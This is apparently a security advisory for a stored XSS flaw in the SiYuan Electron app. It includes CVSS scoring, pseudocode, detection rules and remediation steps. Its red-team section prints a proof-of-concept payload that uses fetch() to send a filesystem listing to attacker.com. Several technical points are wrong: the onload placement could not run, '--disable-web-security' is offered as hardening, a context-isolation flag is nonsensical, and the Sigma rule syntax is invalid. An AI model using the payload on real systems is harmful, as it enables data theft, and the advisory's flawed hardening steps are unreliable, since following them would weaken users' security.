CVE-2026-66396

Executive Summary

CVE-2026-66396 is a stored cross-site scripting (XSS) vulnerability affecting SiYuan versions before 3.7.2. The flaw resides in the handling of the title-img Individual Attribute List value when rendering Gallery and Kanban cover images. The application fails to properly escape the style attribute, allowing an attacker with editor permissions to inject arbitrary JavaScript via onload handlers. Since SiYuan runs on Electron, the injected code executes with full Node.js access, enabling complete compromise of the victim’s operating system—including file system access, credential theft, and command execution.

Supply Chain & Package Security

SiYuan is distributed as a standalone Electron application. Although the core vulnerability is in the front-end rendering logic, the attack surface is amplified by the Node.js context. No package manager (npm, PyPI, Go, Ruby) is involved, but the Electron runtime itself is a dependency that cannot be easily sandboxed. Users should treat SiYuan documents as untrusted and apply the latest patch immediately.

CVSS Breakdown & Threat Level

Base Score: 8.0 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – the XSS payload is stored and triggered when a victim opens a document.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): Low – attacker must have editor permissions within SiYuan.
• User Interaction (UI): Required – the victim must open the malicious document.
• Scope: Unchanged – the vulnerable component and the impacted asset are the same (Electron renderer).
• Confidentiality/Integrity/Availability: All High – full Node.js access allows arbitrary code execution, data exfiltration, and system manipulation.

Deep Dive & Mechanics

The vulnerability lies in the rendering pipeline for Gallery and Kanban blocks. These blocks display cover images using a title-img attribute whose value is an inline style string (e.g., background-image: url(...)). SiYuan does not sanitize this style attribute, allowing an attacker to inject additional style properties and event handlers, such as:

<div class="cover" style="background-image: url(x); onload='malicious js'">

Because the block is rendered inside the Electron renderer process (which has full Node.js integration enabled by default), the onload handler runs with privileges to access require, process, fs, child_process, and other Node.js APIs.

The attack workflow:

1. Attacker creates a Gallery/Kanban block and inserts a malicious title-img style string containing an onload event.
2. The XSS payload executes in the victim’s browser/session when they open the document.
3. The payload can spawn a reverse shell, steal cookies, download credentials, or encrypt files.

This is a classic stored XSS mutation privileged to Node.js due to Electron’s contextIsolation: false (or misconfigured nodeIntegration: true).

Vulnerable vs. Patched Code

Vulnerable (before 3.7.2):
The code that processes title-img does HTML-entity encoding for standard attributes but leaves the style attribute raw.

// Vulnerable pseudocode
function renderCover(cover) {
    let style = cover.titleImg; // unsanitized
    return `<div class="cover" style="${style}"></div>`;
}

Patched (3.7.2+):
The fix escapes the style attribute value or rejects style strings containing event handlers or dangerous CSS properties.

// Patched pseudocode
function renderCover(cover) {
    let style = sanitizeStyle(cover.titleImg); // remove on*, javascript:, etc.
    return `<div class="cover" style="${style}"></div>`;
}

The official patch also disables Node.js integration in the renderer (or forces contextIsolation: true and sandbox: true).

Exploitation & Lab Setup

Red Team – Exploit Development

Lab Environment:

• SiYuan v3.7.1 (any version <3.7.2)
• Attacker account with editor permissions
• Victim account that opens the malicious document

Malicious Payload:
Create a Gallery or Kanban block and set the title-img attribute (via the advanced attribute editor) to:

background-image: url('x'); onload="fetch('http://attacker.com/steal?data='+btoa(JSON.stringify(require('fs').readdirSync('/'))) )"

Note: This is a proof-of-concept. In a full exploit, the attacker would host a callback server to receive exfiltrated data.

Execution Steps:

1. Login as editor and create a new document.
2. Insert a Gallery block.
3. Set the title-img attribute to the payload above.
4. Save and share the document link with the victim.
5. When the victim opens the document, the onload event fires and sends a request containing environment information to the attacker’s server.

Blue Team – Detection & Hardening

Detection:

• Monitor SiYuan logs for documents with suspicious style attributes containing onload, onerror, onclick, etc.
• Use endpoint detection to alert on require or child_process calls from SiYuan processes.

Hardening:

• Update to v3.7.2 immediately.
• If update is not possible, disable Node.js integration for the renderer: launch SiYuan with --disable-web-security or enforce contextIsolation: true and nodeIntegration: false in the Electron main script.

Indicators:

• A request to an external domain originating from the SiYuan process (check outbound HTTP/HTTPS).
• Unexpected child_process.exec or fs.readFileSync calls from the renderer.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule SiYuan_Stored_XSS_Onload {
    meta:
        description = "Detects malicious SiYuan documents containing onload handler in style attribute"
        author = "Valters IT Security"
        date = "2026-04-01"
        reference = "CVE-2026-66396"
        severity = "critical"

    strings:
        $re_onload = /onload\s*=\s*["']?[^"']*["']?/i
        $re_style = /style="[^"]*background-image[^"]*;.*onload/i
        $re_nodejs = /require\(["'](child_process|fs)["']\)/

    condition:
        ($re_style or ($re_onload and $re_style)) and $re_nodejs
}

Sigma Rule

title: SiYuan Stored XSS with Node.js Access
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects SiYuan processes spawning child processes or making outbound connections after loading a malicious document.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-66396
author: Valters IT
date: 2026/04/01
logsource:
    product: windows
    service: sysmon
    category: process_creation
detection:
    selection:
        ParentImage|endswith: '\SiYuan.exe'
        Image|endswith: '\cmd.exe' or '\powershell.exe'
    condition: selection
falsepositives:
    - Legitimate use of integrated terminal (if enabled)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-66396 SiYuan Stored XSS Exfiltration"; flow:to_server,established; content:"GET /steal"; http_uri; nocase; pcre:"/\/steal\?data=/i"; reference:cve,2026-66396; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Upgrade SiYuan to version 3.7.2 or later. The official release includes proper escaping of the style attribute and disables dangerous Node.js access in the renderer.
2. Workaround: If patching is not possible, enforce Electron security settings by launching SiYuan with --disable-features=ElectronContextIsolation=false. Alternatively, set environment variables to disable Node integration.
3. Network Controls: Block outbound connections from SiYuan processes to unknown IPs. Use application whitelisting to prevent execution of untrusted scripts.
4. User Training: Educate editors not to open documents from untrusted sources. Remind them that SiYuan documents can execute arbitrary code.
5. Monitoring: Deploy the YARA, Sigma, and Suricata rules above to detect exploitation attempts.

Valters IT Security – CVE Research Team